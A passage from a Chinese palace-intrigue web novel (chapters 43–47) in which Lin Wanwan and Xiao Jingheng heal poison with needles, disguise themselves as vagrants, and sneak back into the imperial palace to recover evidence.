每一个字,都像是钢针,狠狠扎进林绾绾的心里。
冰冷,残酷,却又带着一种血淋淋的真实,将她最后一丝侥幸彻底击碎!
是啊!她拿什么去赌?
一个被打入死牢,身负“荧惑妖星”污名的孤女,谁会信她?谁又能让她活着走到御前?
尤其当她听到“林绾绾”三个字从萧景珩口中喊出,她更是心神俱荡。
“你是什么时候知道我就是林绾绾的?”林绾绾终是将疑问问出口。
萧景珩松开握着她手腕的手,沉声道:“一直都知道!”
林绾绾不可置信的抬起头,对上萧景珩复杂的眼眸。
“你…”剩下的话还没问出口,只见萧景珩高大的身躯猛晃了一下,高大的身躯无法控制地向后踉跄几步,后背重重地撞上冰冷的洞壁。
“呃--!”压抑不住的痛楚低吟从萧景珩口中溢出。
之前被九转玲珑针引渡了部分本源毒血的伤口处,此刻狰狞的紫黑毒气如同被激怒的毒蛇,再次疯狂蔓延。
单薄的里衣迅速被暗红浸透。
反噬凶猛,比之前更甚!
这“蚀骨”毒果然棘手!
“萧景珩!”林绾绾几乎是扑了过去,双手下意识扶住他摇摇欲坠的身体。
“别…别碰!”萧景珩试图推开林绾绾,声音破碎不堪,带着强弩之末的抗拒和不愿示弱的倔强。
但那只抗拒的手,因剧痛而软弱无力,抵在她肩头时,更像是一种无力的依赖。
“闭嘴!”林绾绾的声音带着不容置疑的强硬,此刻她不再是那个需要他庇护的孤女,而是掌握他生死的医者!
她扶着萧景珩缓缓滑坐在地,目光死死锁住他洇血的位置。
“忍一忍。”她的声音低沉下来,带着一种安抚力量。
没有半分犹豫,她的目光如电,九转玲珑针在她手间不停翻飞。
第一针,神道穴。
针入瞬间,一股清冷柔和的力量如同月华洒落,强制压制住伤口处疯狂肆虐的毒气,让掌毒躁动的侵蚀之势硬生生冻结、迟滞。
萧景珩身体一震。
神道穴受激时如同冰水灌顶,那蚀骨剧痛竟奇异般地被一股冰冷的镇定感暂时覆盖。
第二针,至阳穴。
针尖汇聚着一股涓涓暖流,沿着萧景珩脊柱两侧膀胱经飞速扩散,滋养着被剧毒侵蚀受损的肌理。
萧景珩紧蹙到极致的眉峰,竟微微松动了一丝,沉重的喘息也顺畅了半分。
第三针,天宗穴。
所有毒素被引聚到此处。
冰冷,粘稠的紫黑色毒流剩余部分由此引出体外。
翻卷皮肉中,紫黑色毒气剧烈地沸腾,挣扎,消融!
伤口边缘不断扩散的黑气开始慢慢回缩!
萧景珩紧蹙的眉峰,终于一点一点舒展开来。
尽管身体依旧虚弱,但那股溃散的生命之火,最终被强行稳固了下来。
在剧痛稍缓的间隙,他微微侧过头,用尽力气睁开眼帘。
模糊的视线里,是林绾绾近在咫尺的侧脸。
汗水浸湿了她额角的碎发,紧贴在细腻却苍白的肌肤上。她的嘴唇被自己咬得泛白,甚至渗出了血丝。
那双总是带着倔强和清冷的眸子,此刻坚定地盯着手中的银针,双手在伤口处翻飞,不做一丝停歇。
一股“悸动”的洪流,冲垮了萧景珩心中那堵名为“冷漠”与“算计”的高墙。
“够了...”他极其艰难的,几乎是从齿缝里挤出破碎的气音,带着一种近乎哀求的沙哑,“停下...林绾绾...你会...”
他的话被林绾绾骤然加重的呼吸声打断。
林绾绾那双因消耗过度而显得有些失焦的眸子,此刻亮得越发惊人,带着一种玉石俱焚的决绝:
“闭嘴...还差...最后一点!”
她咬紧牙关,调动起丹田最后一丝微弱的内息,不顾一切地催动着九转玲珑针。
两根金针同时发出低沉的共鸣!
最后一丝顽固盘踞在伤口的紫黑色毒气,彻底引渡出来!
“噗--!”两人几乎是同时喷出一口鲜血!
林绾绾见大功告成,心下一松,身体软软向后倒去,意识瞬间沉入无边黑暗。
最后的感知里,是身下皮毛的柔软,和鼻尖萦绕不去的那股冷冽的沉香。
萧景珩在喷出浓黑的瘀血后,身体重重一颤,紧锁的眉头终于松开。
体内疯狂撕扯的剧毒之力,终于达成了诡异的平衡。
他强撑着最后一丝清明,看着倒在自己身侧,气息微弱如同风中残烛的林绾绾。
他的手缓慢抬起,轻轻拂开了黏在林绾绾汗湿额角的一缕碎发。
指尖触及到林绾绾冰凉细腻的皮肤,微弱的触感如同电流,击中了他麻木的心房。
篝火微光在洞壁上投下两人交叠的影子,也温柔地勾勒着林绾绾苍白而安静的侧颜。
山洞内静得只剩下两人交错的、微弱而平稳的呼吸声。
不远处落在枯枝上的血瞳乌鸦,猩红眼瞳静静地注视着眼前这一切。
第43章 易容乔装
一夜过去,洞外呼啸的风声似乎小了一些。
经过一晚上的调息,二人的体力都恢复了不少。
昨夜生死相托的痕迹犹在,二人都不自觉地避免视线的交汇。
血瞳乌鸦突然扑棱了一下翅膀,飞落到洞口狭窄的缝隙处,小小的脑袋侧着,似乎在倾听着什么。
片刻后,它飞了回来,落在萧景珩的肩头,用尖喙轻轻啄了啄他的耳廓,发出几声极其短促的“哒哒”声。
萧景珩闭目凝神,几息之后,他猛地睁开眼,黑眸中寒光一闪,之前的疲惫被冰冷的锐利取代。
“走。”
萧景珩吐出一个字,撑着洞壁站起来,眉头几不可查地蹙了一下,但身形依旧挺拔如松。
林绾绾心头一紧:“外面…有情况?”
“巡防营的鹰犬,还有贵妃宫里的暗桩,正在往这片这片区域搜索。此地不宜久留,咱们必须在天黑,回到皇城!”
萧景珩声音冰冷,言语间迅速收拾好地面上散乱物品。
“现在回去,这不是自投罗网吗?”
林绾绾声音里满是难以置信。
“最危险的地方,有时反而是最安全的灯下黑。他们掘地三尺搜寻逃犯,却绝不会想到,逃犯敢在此时潜回风暴的中心。”
萧景珩声音更低沉了几分,带着一丝掌控全局的冷冽。
“况且…有些‘证据’只有在皇城里,才能发挥它的真正作用。”
证据?林绾绾一愣,随即想了起来。
血凤凰木片虽然被他捏碎了,但种子仍在!林月瑶不是说种子被种在御花园吗?
她还有机会!
萧景珩不再多言,径直走到山洞角落一堆不起眼的枯枝烂叶旁。
拨开表面枯叶,从下面拎出两个沉甸甸的粗布包袱。
他将其中一个扔给林绾绾,“换上!”
林绾绾下意识接住,入手是粗糙厚实的布料。
她解开包袱,里面是一套半旧的、打着补丁的粗布棉袄棉裤,颜色灰扑扑的,散发着淡淡的尘土和汗味。
除此之外,还有一顶同样破旧的、边缘磨损很厉害的狗皮帽子。
里面还有一小盒黑乎乎、散发着刺鼻气味的劣质头油,以及一些灰黄色的、像是泥灰的东西,看起来应该是某种特制的易容泥灰。
是伪装!
林绾绾瞬间明白了萧景珩的意图。
心中虽然依旧忐忑,但此刻别无选择。
她咬了咬牙,背过身去,迅速脱掉身上那件沾满血污的囚衣,换上粗布棉衣。
棉衣宽大臃肿,很好地遮掩了她纤细的身形。
她又抓起那盒刺鼻的头油,忍着恶心,胡乱地抹在脸上和脖颈裸露的皮肤上,将皮肤染上一层油腻的暗沉。
最后,她抓起那些灰黄色的粉末,仔细地涂抹在脸颊、额头、鼻梁等容易辨认的部位。
刻意加深了法令纹和眼窝的阴影,又将凌乱的头发胡乱地塞进那顶破旧的狗皮帽子里。
当林绾绾转过身时,已经完全变了一个人。
脸色蜡黄油腻,眉眼被刻意画得粗糙暗淡,加上臃肿破败的棉衣,活脱脱一个面黄肌瘦,为生计奔波操劳的妇人模样,扔在人堆里绝不会引起任何注意。
萧景珩也早已换好。
他穿着的一套同样破旧的短打棉袄,外面罩着一件脏兮兮,磨得发亮的羊皮坎肩。
脸上同样涂抹了易容泥灰,加深了轮廓棱角,营造出一种饱经风霜的粗狂感。
更妙的是,他不知用了什么方法,那双黑眸看起来浑浊无神,整个人看上去就像是一个常年劳作的苦力。
若非亲眼所见,林绾绾几乎无法想得他的伪装术竟如此高明。
两人对视一眼,无需言语,都在对方眼中看到了此刻狼狈却足够隐藏的形象。
“跟紧我。”萧景珩率先弯腰,钻出这个狭窄的洞口。林绾绾紧随其后。
洞外,是白茫茫一片的雪后荒郊。
寒风凛冽,卷着细碎的雪沫扑面而来。
远处,皇城高耸的轮廓在铅灰色的天空下显得格外压抑。
萧景珩辨明方向,没有选择大路,而是沿着荒草丛生,积雪覆盖的偏僻小径,深一脚浅一脚地朝着皇城西北角的方向走去。
他刻意放慢了步伐,脚步有些拖沓,带着底层人特有的疲惫感。
林绾绾学着他的样子,微微缩着脖子,低着头,双手拢在袖子里,步履沉重地跟在后面。
两人之间保持着不远不近的距离,如同两个偶然同路的陌生人。
那只血瞳乌鸦早已不知去向,但林绾绾能感觉到,它一定在暗处,无声地注视着他们。
越靠近皇城,气氛越是紧张。
通往城门的主道上,盘查明显比往日森严了数倍!
披坚执锐的巡防营士兵盔甲鲜明,粗暴地拦下每一个试图进出的人。
他们仔细核对着路引,审视着每一个可疑的面孔。
城墙上,巡逻的士兵身影也密集了许多,冰冷的甲胄在冬日惨淡的阳光下反射着寒光。
空气中处处都透着一股无形的肃杀和紧绷。
萧景珩带着林绾绾远远地绕开了主城门和盘查点,专挑荒僻无人的城墙根走。
西北角这一带,城墙年久失修,墙根下堆积着厚厚的枯叶跟垃圾,形成了天然的掩护。
寒风在这里打着旋,卷起地上的雪沫跟尘土,更添几分萧瑟。
在一处坍塌的城墙豁口附近,垃圾堆积如山,散发着令人作呕的腐臭味。
这里零零散散蜷缩着几个乞丐,裹着破旧的草席和烂棉絮,在寒风中瑟瑟发抖。
萧景珩脚步不停,径直朝着那堆垃圾和乞丐走去。
他熟练地在一个避风且相对干净的角落坐下,背靠着冰冷的城墙砖,微微阖上眼,一副疲惫不堪,只想找个地方歇歇脚的模样。
林绾绾学着他的样子,在他旁边不远处也找了个地方坐下。
她将头埋得很低,用破帽子的帽檐遮住大半张脸,身体微微蜷缩,扮演着同样冻饿交加的流民。
空气中满是垃圾的腐臭和乞丐身上浓重的体味。
寒风呼啸着穿过坍塌的豁口,如同鬼哭。
远处主城门方向偶尔传来士兵粗暴的呵斥声、百姓惶恐的辩解声...
所有的声音如同隔着一层厚重的幕布,虽不清晰,但是却显得更为压抑。
第44章 凰木焚心
时间在寒冷和紧张中缓慢流逝。
一阵刻意压低的议论声,顺着风断断续续地飘了过来。
“…听说了没?天牢…昨夜…出大事了!”
“可不是!死囚重狱跑了个重犯!听说…是那个被钦天监指认的什么妖星!”
“嘶…妖星跑了?那还得了?难怪今日盘查这么严!我进城卖柴,被盘问了足足三遍!”
“何止啊!听说宫里的贵妃娘娘震怒,连太后都惊动了!下了死命令,说活要见人,死要见尸!悬赏的告示都贴出来了,赏金…这个数!”
说话的人似乎比了个夸张的手势,旁边的人被惊得倒吸一口冷气。
“不过…我倒是听宫里当差的远方亲戚说,那妖星跑的时候带走了一个什么证物…是个什么木头!”
“是血凤凰木!我也听说了!据说…这玩意好像跟贵妃娘娘也扯上了点关系,所以贵妃娘娘才急了眼,掘地三尺也要把人找出来灭口呢!”
“是呀是呀!我也听说了。我还听说…宫里那位林太医的死好像跟贵妃娘娘也有关呢!”
“我的老天爷…这皇城的天,怕是真的要变了…”
林绾绾埋在破帽子下的眼睛猛地睁开!
血凤凰木!贵妃!父亲!
宫里的流言已经起来了!
这印证了萧景珩的判断——
那截血凤凰木片在她手里,确实只会引来更疯狂的追杀!
但同时这也说明,贵妃已经慌了!
父亲的冤情,确实也系于那木片之上!
林绾绾下意识地用眼角余光瞥向旁边的萧景珩。
他依旧闭着眼,仿佛睡着了一般。
只有那微微起伏的胸膛和紧抿的薄唇,显示着他一直清醒着。
忽然间,他放在身侧、拢在破旧袖筒里的手,极其轻微地动了一下。
“扑棱棱——”
一阵急促的翅膀拍打声由远及近!
是血瞳乌鸦!
它如同离弦之箭,穿过城墙豁口呼啸的寒风,精准无比地俯冲下来!
它没有落在萧景珩身上,反而是掠过林绾绾头顶时,极其迅捷地丢下了一样东西,然后毫不停留地振翅高飞,瞬间消失在铅灰色的天幕中。
林绾绾强忍着立刻去摸的冲动,保持着蜷缩的姿态,一动不动。
直到悄悄环顾四周,发现无人注意这个小插曲,她才不着痕迹地抬起拢在袖子里的手,仿佛只是为了搓一搓冻僵的脸颊和耳朵,指尖却灵活地探入狗皮帽子的边缘。
入手是一个小小的,用油纸紧紧包裹的物件。
打开后,里面是一枚极其不起眼的、灰扑扑、形状不甚规则的…纽扣?
这纽扣质地粗糙,边缘甚至有些毛糙,就是丢在地上也绝不会有人多看一眼。
林绾绾下意识地用指腹摩挲着这颗冰冷且毫不起眼的纽扣,一股极其微弱的奇异香气,如同最狡猾的游丝,悄然钻入了她的鼻腔!
这味道…
虽然是被某种手段极力掩饰,味道被大量稀释,但那种独特的腐朽香甜...
她绝不会认错,这是——
血凤凰木!
林绾绾心跳骤然加速!
她将纽扣翻到背面,借着帽檐下极其微弱的光线仔细瞧去——
在粗糙凹陷的底部,极其隐蔽地镶嵌着一小片薄如蝉翼、几乎与纽扣本身颜色融为一体的暗红色木片!
那木片的纹理细密深邃,边缘带着被烈焰焚烧过的焦黑痕迹…
这是那片她在冷宫废墟发现的血凤凰木片!萧景珩没有全部销毁!
他竟然让血鸦,将这东西送到了她手里!
林绾绾再也控制不住激动的心情,看向旁边的萧景珩。
萧景珩依旧闭着眼,仿佛对周围一切都毫不知情。
只是那嘴角转瞬即逝的弧度,泄露了他此刻的心情。
林绾绾瞬间想明白了!
毁掉木片,是为了销毁可能被追踪的“证物”本体!也是为了让她原本急躁的心,彻底沉淀下来!
而作为证物,这样的存在既无法被追踪,却又能在关键时刻成为致命一击的“引子”。
把东西藏在她这个“流民”身上,化整为零,隐于尘埃,堂而皇之地出现在众人面前…
真是做到了真正的“灯下黑”!
一股难以言喻的震撼,席卷了林绾绾的全身!
这个男人的心思,深沉缜密的可怕!
走一步,算十步!他早已谋划好了一切!
毁物,藏引,潜回皇城…
所有的行动都在他的计划与掌控之中。
萧景珩终于缓缓睁开了眼睛,那双伪装着的有些浑浊的眸子里,此刻清晰映着冰冷的火焰。
他迟缓地站起身,拍了拍沾满尘土的破旧坎肩,声音嘶哑低沉,如同砂砾摩擦:“时辰…差不多了。”
他微微佝偻着背,朝着城墙豁口外,那条通往皇城深处,此刻却如同龙潭虎穴的小巷,迈出了第一步。
寒风卷起他破旧衣袍的下摆,背影在暮色中虽显孤独,却又透着一股势必要撕裂黑暗的决绝。
林绾绾深吸一口冰冷刺骨的空气,带着心中那一丝被点燃的、名为“希望”的火苗,同样站起身。
她将破旧的狗皮帽子往下压了压,遮住眼底冰冷的锋芒,坚定地跟上了前面那个看似佝偻却无比强大的背影。
两人一前一后,如同两个最不起眼的流民,一步不停地向着目标方向前进。
冰冷的马蹄铁带着千钧之力,裹胁着冰冷的寒风从远处袭来。
马上的人,肆意挥动着马鞭,无视周围人的视线,向巷口这边飞驰。
很多人躲闪不及,东西洒落满地。
而那匹马却似不受控制一般,直直朝着林绾绾的方向而来。
林绾绾回身发现时,已为时太晚。
马蹄裹胁着死亡的气息,就要狠狠踏向她的头颅!
时间在那一刻被无限拉长、凝固。
林绾绾瞳孔骤缩,映着那急速放大,闪着幽冷寒光的马蹄,身体因这突如其来的变故跟惊吓僵硬如石,连本能的闪避都无法做出。
她能清晰地感受到马蹄带起的劲风刮过脸颊,如同死神的吐息!
就在这千钧一发的瞬间——
走在前面的萧景珩带着一股决绝的、不顾一切的狠厉,猛地斜冲过来!
“砰!”
沉闷的撞击声在人来人往的巷口炸响!
第45章 凤栖残夜
林绾绾只觉得一股强大却异常巧妙的力量狠狠撞在她的腰侧。
并非将她撞飞,而是如同流水般将她整个人猛地向旁边带开数尺。
身体踉跄间,避开了那足以开脾裂石的致命马蹄!
与此同时,萧景珩在撞开林绾绾的瞬间,身体以一种不可思议的角度猛地拧转!
他没有硬抗那雷霆万钧的马蹄,而是在马蹄即将踏实的刹那,足尖在冰冷湿滑的石板地上细微一点,整个身体如同失去重量的鸿毛,借着那一点力,猛地向后飘退!
“嘶律律——!”
马匹受惊后,马蹄失控踩空,重重砸在林绾绾刚才所在位置旁边的石板地上。
马蹄踏地,发出沉闷的巨响,碎石四处飞溅!
巨大的反震力让马匹更加狂躁,前蹄再次高高扬起。
“混账东西!敢挡巡防营的路!找死!”
马背上的人又惊又怒,对着萧景珩厉声呵斥,勒紧缰绳,试图控制住坐骑。
他根本没看清萧景珩的动作,只看到一个“臭要饭的”突然窜出来,害得他的马差点踩空崴脚!
这简直是触他的霉头!
就在这混乱的瞬间,萧景珩飘退的身体如同柳絮般轻盈落地。
落地时,他似乎“不小心”踩到一块松动的石板,身体一个极其逼真的趔趄后,口中发出一声压抑的闷哼。
宽大的破旧棉袄下面,似乎有暗红色的痕迹迅速洇开了一小块。
同时,他的脸色变得苍白,眉头痛苦地紧缩,整个人显得摇摇欲坠。
“娘的!晦气!不长眼的狗东西!
那人好不容易勒住受惊的马,看着地上被马蹄践踏出的浅坑和旁边那个脸色惨白、似乎伤得不轻的“臭乞丐”,以及另一边缩在角落瑟瑟发抖的“妇人”,脸上没有丝毫的歉意,只有满满的烦躁、厌恶和一种高高在上的轻蔑。
他恶狠狠地骂道:“碾死你们这些臭虫,都嫌脏了老子的马蹄!滚远点!再让老子看见你们,打断你们的狗腿!”
他看都没再多看两人一眼,仿佛刚才差点踩死的只是两只微不足道的蝼蚁。
狠狠一夹马腹,马蹄声朝着另一个方向疾驰而去,只留下充满鄙夷和威胁的咒骂声还在寒风中回荡。
喧嚣的马蹄声远去,街道重新陷入死寂。
林绾绾的心脏在胸腔疯狂擂动,巨大的后怕让她浑身发软。
她抬头看向萧景珩,他的伤口没事吧?
刚才是不是牵动了旧伤?
“你…”她声音带着颤抖,想问什么,却又不知从何问起。
萧景珩站直了身体,虽然脸色依旧苍白,但方才摇摇欲坠的狼狈姿态已经消失不见,只剩下一种冰冷的平静。
他微微错过头,扫过林绾绾惊魂未定的脸,声音低沉道:“巡防营的鹰犬,草菅人命是常事。在他们眼里,你我这样的蝼蚁,碾死便碾死了,连个响动都不配留下。”
他的话冰冷刺骨,却血淋淋揭露了当今陛下治理的天下,官吏暴戾,百姓低贱。
刚才那人的言行,就是最赤裸裸的证明。
林绾绾只觉得一股寒意从脚底直冲头顶,不是因为寒冷,而是因为这令人窒息的压迫。
愤怒和一种无力的悲哀深深压在她的心间。
“走。”
萧景珩不再多言,步履沉稳地朝着巷子深处更浓重的阴影走去。
林绾绾深吸一口冰冷刺骨的空气,默默地跟上了他的脚步。
刚才惊心动魄的一幕,如同烙印般刻在她的脑海里,让她对这座皇城的黑暗,有了更深切、更冰冷的认知。
血瞳乌鸦无声地在前方引路,在迷宫般复杂破败的贫民区巷子穿行,最终停在了一个狭小的洞穴前。
再往前进几步,就到皇城了!
“我们先在这休整一下,再继续上路。”
萧景珩说完,带着林绾绾进入洞穴内,然后靠坐在角落里,闭目调息。
林绾绾也随之蜷缩在冰冷的泥地上,巨大的精神冲击和身体的疲惫让她很快沉沉睡去。
冷。
无边无际的冷。
像是沉在万丈玄冰的湖底,连灵魂都要被冻结成粉末。
林绾绾的意识在极致的冰寒中浮沉。
她痛苦地蜷缩着,试图这样汲取一丝温暖,却只触碰到更加刺骨的寒意。
就在这冰寒地狱的深处,一点微弱的,奇异的暖意,如同黑暗中摇曳的烛火,悄然亮起。
那暖意来自她的心口。
仿佛有什么东西被触动了,一股微弱的暖流,自心口那处纹路印记缓缓流淌出来。
这暖流带着一种古老而神秘的气息,仿佛沉睡了千万年的火山,开始苏醒最核心的一丝熔岩。
伴随着这丝暖流,一些破碎的、光怪陆离的画面,沉入湖底的碎片,被这股暖意托起,不受控制地浮现在她混沌的意识深处:
温暖的烛光下,母亲不再是平日温婉娴静的模样。
她穿着一种样式奇特、绣着繁复火焰图腾的靛蓝色长裙,长发用银环高高束起,额心点着一点殷红的朱砂。
她的神情肃穆而哀伤。
母亲紧紧抱着年幼的自己,声音带着一种古老而晦涩的韵律,在自己耳边低语:
“绾绾…记住…我们是圣火的守护者…血脉里流淌着金昙花的祝福与诅咒…”
“心口的火焰…是神赐的烙印…是钥匙…也是枷锁…”
“远离皇宫…远离那朵…染血的…金昙花…”
母亲的手,冰冷而颤抖,轻轻抚过她心口的位置,那里似乎有什么东西在微微发烫。
画面一转。
阴暗潮湿的地窖里。
摇曳的油灯映照着父亲疲惫而凝重的脸。
他当着自己的面小心翼翼地打开一个雕刻着扭曲火焰图腾的陈旧木盒。
木盒里,静静躺着一卷颜色暗沉、边缘破旧的古老兽皮卷轴。
打开卷轴一角,上面是一种用暗红色颜料书写的,古老神秘的文字。
“圣女血脉…巫医族最后的希望…双生火焰…这是祸乱的根源啊…绾绾…”
说完啊,他猛地合上卷轴,眼中充满了决绝。
“必须要毁掉!决不能让任何人知道它的存在!更不能让任何人知道…你身上的…印记!”
“呃…!”心口火焰纹路的位置传来剧烈的灼痛。
林绾绾的意识被这剧痛从记忆的碎片中拽回了现实。
她痛苦地闷哼一声,骤然睁开了眼睛!
第46章 再入皇城
林绾绾心口那处火焰位置似乎还在隐隐发烫。
梦魇中的那些破碎的记忆碎片——
母亲肃穆地告诫,父亲绝望的嘱托,再次不受控制地翻涌上来。
这些梦境都代表了什么,为什么自己对这些经历过的事情一点印象都没有。
巨大的疑云笼罩着她。
就在这时,她发现萧景珩浓密的睫毛微微颤动,似乎即将醒来。
几乎是本能的,她迅速收敛起眼中翻涌的惊疑,垂下眼帘,调整呼吸,仿佛也是刚刚苏醒一般。
萧景珩缓缓睁开眼,那双黑眸初时带着一丝初醒的茫然,但几乎在瞬间便恢复了清明,如同寒潭沉水,深不见底。
他的视线落在了靠坐在对面的林绾绾身上。
四目相对。
洞内的空气瞬间凝滞。
昨夜的生死相托,巷口的舍身相救,此刻的虚弱相对…
无数复杂难言的情绪在两人无声的对视中流淌、碰撞。
没有言语,却仿佛有千言万语在沉默中交锋。
萧景珩的目光在林绾绾苍白疲惫的脸上停留片刻,薄唇微动:“醒了?”
林绾绾垂下眼帘,掩去眸底翻涌的情绪,低低地“嗯”了一声。
短暂的沉默后,萧景珩再次开口,声音低沉,带着一种掌控全局的冷静,将话题直接拉回残酷的现实。
“巡防营和贵妃的爪牙还在疯狗一样到处搜寻,这里…不宜久留。”
他顿了顿,目光深深望向林绾绾,“御花园的血凤凰木种子,是你唯一的机会...也是我们的机会。”
林绾绾抬起头,迎上萧景珩深不见底的黑眸,眼底所有的情绪都被一种孤注一掷的锋芒取代,但随后似是想到什么,声音越来越小:
“我知道!但是,我现在还不知道种子…在御花园何处…”
萧景珩看着她眼中燃起的火焰,几不可查地点了点头。
他没有直接回答,而是缓缓抬手伸向自己的衣襟内侧,从贴身的内袋里取出一样东西,递到林绾绾手里。
东西入手冰凉刺骨,沉甸甸的,带着一种金属特有的寒意。
那是一块小小的,通体乌黑,没有任何纹饰,仅在尾部镶嵌着一颗极其微小的、猩红如血滴的宝石的令牌。
“拿着它。”
萧景珩的声音低沉而清晰,每一个字都如同烙印。
“这是我血鸦阁令牌,见令牌如见阁主。今夜子时,去御花园听雨轩,在废墟旁第三棵老梅花树下,会有人接应你。出示令牌,他便会带你去…取种子。”
听萧景珩的语气,这个令牌绝对是血鸦阁的信物,而且是等级极高的那种。
林绾绾紧紧攥住这枚令牌,冰冷的触感在掌心蔓延。
他将如此重要的信物交给她,让她独自去面对血鸦阁的人,去取那致命的种子…
是信任?还是更深的试探与利用?
她无从分辨,也不需要分辨,因为这是她必须要走的路。
“好。”她抬起头,声音坚定,“今夜子时,听雨轩!”
萧景珩深深看着她,眼眸中复杂的光芒一闪而逝,有审视,有担忧,还有深深的…期待。
最终,所有的情绪都归于一片平静。
他缓缓闭上了眼睛,再次进入休憩状态。
狭小的空间里再次陷入沉寂,只剩下两人或沉稳或急促的呼吸声。
时间缓缓流逝。
夜色如同浓稠的墨汁,彻底吞噬了最后一丝天光。
萧景珩缓缓睁开了眼睛,那双深不见底的墨瞳在黑暗中亮得惊人,精准地锁定了洞口缝隙外深沉的夜色。
“时辰到了。”他扶着洞壁缓缓站起身,身形挺得笔直,如同雪地中不倒的青松。
林绾绾的心提了起来,攥紧了袖中那枚冰冷的血鸦阁令牌。
她强迫自己打起十二分精神。
今夜要面临的或许是龙潭虎穴,但她也必须拼尽全力闯过去!
血瞳乌鸦无声地从角落飞起,落在萧景珩的肩头,猩红的眼睛在黑暗中如同两点鬼火。
萧景珩没有多言,只是对乌鸦极其轻微地点了点头。
血瞳乌鸦立刻振翅,率先钻出了狭窄的缝隙。
“跟紧。”萧景珩率先弯腰,动作利落地钻了出去。
林绾绾紧随其后,冰冷的寒风夹杂着雪沫扑面而来,让她打了个寒战。
血瞳乌鸦在低空无声地盘旋一周,确认周围安全后,立刻朝着一个方向飞去。
它飞行的路线并非直线,而是充分利用贫民区复杂的地形灵活飞过。
一会儿是低矮破败的屋檐,一会儿又掠过堆积如山的杂物,有时候是狭窄的仅容侧身而过的墙缝,甚至还从某户人家半塌的院墙豁口下钻过。
萧景珩显然对这里的地形也非常熟悉。
他的步伐沉稳迅捷,如同暗夜中的猎豹,在迷宫般的巷道里无声穿行。
他总能精准地避开地上冻结的污水坑,横亘的断木,甚至能提前感知到远处巡防营士兵沉重的皮靴踏雪声,会迅速且及时地拉着林绾绾隐入更深的阴影中,屏息凝神,直到危险远去。
他们一路北上,穿过了大半个贫民区,最终停在了皇城西北角的城墙之下。
血瞳乌鸦落在一处巨大的乱石堆上,猩红的眼睛静静地看着他们二人。
萧景珩走到石碓前,没有立刻动作,而是极其谨慎地侧耳倾听了片刻,确认周围只有风声后,才伸出手,在冰冷粗糙的石壁上摸索着。
他的手指在几块看似毫无规律的石头上或轻或重地按压、旋转。
“咔嗒....”几乎被风声完全掩盖的机扩转动声响起!
巨大石碓附近,一块布满青苔的“石头”,竟然向内凹陷,然后无声地滑向一侧,露出一个仅容一人弯腰通过的、黑黢黢的洞口。
是密道!一条通往皇城内部的密道!
林绾绾瞳孔微缩!血鸦阁的手段果然通天!
难怪萧景珩总能神出鬼没!
“进去吧。”萧景珩率先弯腰,毫不犹豫地钻入了深不见底的黑暗之中,身影瞬间被吞没。
林绾绾深吸一口气,压下对未知黑暗的本能恐惧,紧随其后,弯腰钻了进去。
在他们二人进入之后,身后那块“石头”又无声地滑回原位。
密道狭窄而曲折,时而向上,时而又向下,仿佛没有尽头。
不知走了多久,就在林绾绾感觉自己肺部因为空气污浊而灼痛时,前方终于出现了一丝微弱的光亮!
第47章 寒梅燃夜
洞穴内,萧景珩停住脚步,对着洞内的通气孔,极其谨慎地向外观察了片刻。
外面很安静,只有寒风掠过枯枝的呜咽声。
“上面就是冷宫范围。”
萧景珩的声音压得极低,几乎贴着林绾绾的耳畔响起,带着温热的气息和一股隐隐的冷香。
“虽然说守卫相对松懈,但并非没有。跟紧我,不要发出任何声音。”
林绾绾用力点头,在黑暗中虽然看不见彼此,但相信他能感知到。
萧景珩再次在洞壁上摸索起来,没多久就传来轻微的机扩声。
头顶一块沉重的石板,向一侧划开。一股雪后清新,却又混合着宫中特有的熏香涌入洞内。
洞口开在一处假山石的底部,外面是影影绰绰的枯树和嶙峋的假山轮廓,远处是宫殿模糊的飞檐。
萧景珩率先探出头,如同最惊觉的夜行动物,锐利的目光迅速扫视四周。
确认安全后,他动作迅捷而无声地钻了出去,随即回身,向洞内的林绾绾伸出了手。
林绾绾毫不犹豫地将自己的手放入他异常有力的掌心。
他用力一拉,将林绾绾轻盈地带出洞口,随即回身,在假山石壁上某个不起眼的凸起一按。
石板滑回原位,严丝合缝,将洞口彻底掩盖,仿佛从未开启过。
萧景珩松开她的手,指着不远处,声音压得极低:“那里,就是听雨轩。子时,拿上令牌,会有人接应。”
他深深的眸光落在林绾绾的脸上,里面包含了太多复杂的情绪,“记住,拿到东西,立刻离开,不要有任何迟疑。血鸦令,能保你一次。”
林绾绾攥住袖子中的令牌,迎上萧景珩的目光,用力点了点头。
萧景珩不再多言,高大的身影悄无声息地退后几步,隐入旁边的枯竹阴影之中,消失不见。
只有那只血瞳乌鸦,还落在一根低矮的树枝枝头上,猩红的眼睛静静地注视着林绾绾,如同一个沉默的守望者。
子时的御花园,死寂的如同巨大的坟墓。
白日里精心修剪的花木,在惨淡的月光下投下张牙舞爪的阴影。
寒风透过枝丫,发出呜咽的低啸,更添几分肃杀的阴森。
林绾绾紧贴着冰冷的假山石壁,如同一尊没有生命的石雕。
脸上涂抹的劣质头油和易容泥灰在寒风中早已干结,带来紧绷的不适。
但此刻,她没有心思在乎这些,所有的感官都提升到了极致。
她警惕地扫视着周围,每一次风声都让她心跳骤紧。
时间在紧张与恐惧中爬行。
终于,一道比夜色更浓重的黑影,如同鬼魅般出现在她身侧不远处的梅树阴影下。
“你是血鸦阁的人吗?”林绾绾压低紧绷的声音。
“嗯。”冰冷的回应如同寒泉滴水。
林绾绾见状,赶紧拿出血鸦阁令牌,远远地晃了一下。
黑衣人脸上覆盖的乌金面具在月光下泛着幽光,看见令牌,露出的那双眼睛依旧古井无波。
“跟我走,一步不差。”
没有多余的言语,黑衣人转身,身影如同融入夜色的墨痕,朝着御花园听雨轩方向掠去。
黑衣人动作轻盈迅捷,每一次落脚都精准无比地踩在积雪最厚、或者枯叶堆积最深的无声之处,完美避开所有可能发出声响的硬物和结冰的地面。
林绾绾也模仿着黑衣人的步伐和节奏,将全部心神放在脚下,每一步都小心翼翼。
穿过一片早已枯萎,只剩下嶙峋枝干的芍药圃,绕过结着厚厚冰壳的观赏池塘,前方出现了一片破败荒凉的区域——听雨轩。
黑衣人脚步微顿,“入口在那儿,在这儿等我信号。”
说完,身影一晃,转眼间已经到了听雨轩那几株形态虬结,在寒风中如同鬼爪般伸展的老梅树旁。
林绾绾蜷缩在一处藏身的地方,目光死死锁定黑衣人的方向。
黑衣人停在第三棵老梅树下,没有立刻动作,冰冷的眼睛扫视着周围的黑暗,确认是否绝对安全。
几息后,他动了。
他伸出带着黑色皮质手套的手,以一种特殊韵律的节奏,屈指在梅树那粗糙且布满裂纹的树皮上,轻轻叩击起来。
声音极其轻微,带着一种奇异的穿透力。
